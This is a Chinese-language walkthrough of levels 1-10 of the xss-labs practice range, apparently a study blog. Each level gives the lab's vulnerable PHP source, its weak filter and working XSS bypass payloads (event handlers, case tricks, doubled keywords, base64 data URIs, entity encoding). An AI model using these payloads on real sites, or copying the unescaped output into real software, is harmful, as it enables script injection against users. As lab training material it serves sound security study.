xss-labs(less1-10)
less-1
Less-1 (反射型xss)payload:<script>alert(‘test’)</script>
源码:
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
没有任何过滤,get方式接收数据后直接作为参数提交
less-2
Less-2 (反射型xss)
Payload:"><script>alert('test')</script>
通过前端回显的信息发现: 用户输入的get请求添加到h2标签中和form表单中inout标签的value属性的值,查看源码
发现<>被编码了。 但是value属性的值没有被编码,可以直接返回,所以我们可以构造以下闭合values属性实现弹窗
源码:
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
Htmlspecialchars()函数对变量str进行处理,把 尖括号 转换为实体,常用于防止浏览器将其用作 HTML 元素。所以在
标签这里被过滤。input标签的value属性值中,因为这里并没有对敏感字符进行编码和过滤,所以可以通过构造实现XSS攻击
less-3
payload:payload:
'onclick='alert(1)
'onfocus=javascript:alert('xss') >
'onmouseover=javascript:alert(1) >
正常输入<script>alert('test')</script>
没有正常弹窗
输入">// 也没有正常弹窗,看源码<、>这样的敏感字符编码成了html字符实体。猜测服务器端在这两处都用htmlspecialchars()函数进行了处理。
有两只方法。第一种;使用onclick,第二种:使用onfocus
onclick:事件,当按钮点击时执行js代码,onclick事件会在元素被点击时发生。
onfocus:事件,当input输入框获取焦点时执行一段js代码,onfocus事件在对象获得焦点时发生。nfocus是javascript中在对象获得焦点时发生的事件,最简单的实例就是网页上的一个输入框,当使用鼠标点击该输入框时输入框被选中可以输入内容的时候就是该输入框获得焦点的时候,此时输入框就会触发onfocus事件.因此点击当前页面的输入框就可以完成弹框。
less-4
与上一关一样也是构造一个事件,只不过第四关的过滤方式不一样
payload:"onfocus=javascript:alert('xss') "
源码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
源码中过滤了尖括号之后拼接到了h2标签中,在value属性处把尖括号删掉然后显示了 我们可以构造payload不适用尖括号。
less-5
payload:"> <a href=javascript:alert('xss') > xss</a>
标签中把尖括号编码显示,value属性处加了个下划线_, 再次使用onfocus触发事件弹窗时,发现并没有弹窗
源码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
对<
script>
标签 字符on进行了过滤,无法通过<
script>
标签触发事件进行弹窗。可以创建一个新标签来执行js代码
less-6
payload:
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=">ceshi</a>
<img src=111 onerror=alert('xss')>
输入<script>alert(1)</script>
输入"><a harf=javascript:alert('xss')>xss</a>
源码:
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
对script标签字符on,src,data,href进行了过滤,但是我们知道在html中,对href属性的大小写是不敏感的,我们可以尝试大写绕过
Payload:"> <a hREF="javascript:alert('xss')">xss</a>。
在源码中有个过滤src,src是<img>标签中的一个属性,正常的引用图片就是将带引用图片的地址赋值给src属性。
用第一关演示payload:<img src=111 onerror=alert('xss')>
在源码中有个过滤data,bata的用法就是对javascript:alert("xss") 或者 <script>alert("xss")</script>等需要使用的进行base64编码,然后在原本的位置替换一下即可,
payload;
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=">ceshi</a>
第一关示例
less-7
payload:"oonnfocus=javascrscriptipt:alert('xss') "
试了下前几关的方法,触发事件,大小写绕过都不行
源码:
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
源码中使用了strtolower函数 字符全部变成小写所以大小写绕过失效,看了下大佬的博客发现是双写绕过,因为在解析过程中页面源码发现通过双写关键字被服务器端删除之后成功保留了我们原本想要的恶意代码
但是我发现不对javascript进行双写,只对onfocus双写也可以绕过
less-8
payload:Payload:javascript:alert('xss')----(unicode编码)---------->javascript:alert('xss')
先测试
可以看到输入的东西被转换成了字符串而且也插入了下划线
思路就是转成unicode编码 就可以了
less-9
Payload:javascript:alert(1)//http://
一定要在中间加上//
进行测试,发现这个请求是url
之后在<script>alert(1)</script>后面加上了http:// -----><script>alert(1)</script>;http://
script标签被过滤
再试一下触发事件
javascript:alert('xss')http://
对scri也进行了过滤
对javascript:alert('xss')进行编码试一下,成功绕过
源码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
源码中对关键字过滤,之后对处理后的字符进行查找如果该字符中含有http://就返回第一次出现的位置,也就可以将该字符插入到href属性值中了,但是如果字符中没有http://的话就会返回false
less-10
正常及逆行测试
发现有三个隐藏表单有三个input标签的话,也就意味着是三个参数。
名为t_sort的input标签,之前都是隐藏状态,但是通过构造参数响应发现只有它里面的值被改变。做法就是对type属性的hidden删除或者修改成text,然后会出来一个窗口,在窗口处输入js代码完成弹窗
源码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
源码中先接收T_sort参数请求,在最后对尖括号进行过滤删除,从这里来看的话这一关就只能是将js代码插入到input标签的属性值中来执行而不能通过闭合input标签引入新的标签来触发XSs攻击
参考博客https://www.zhaosimeng.cn/writeup/113.html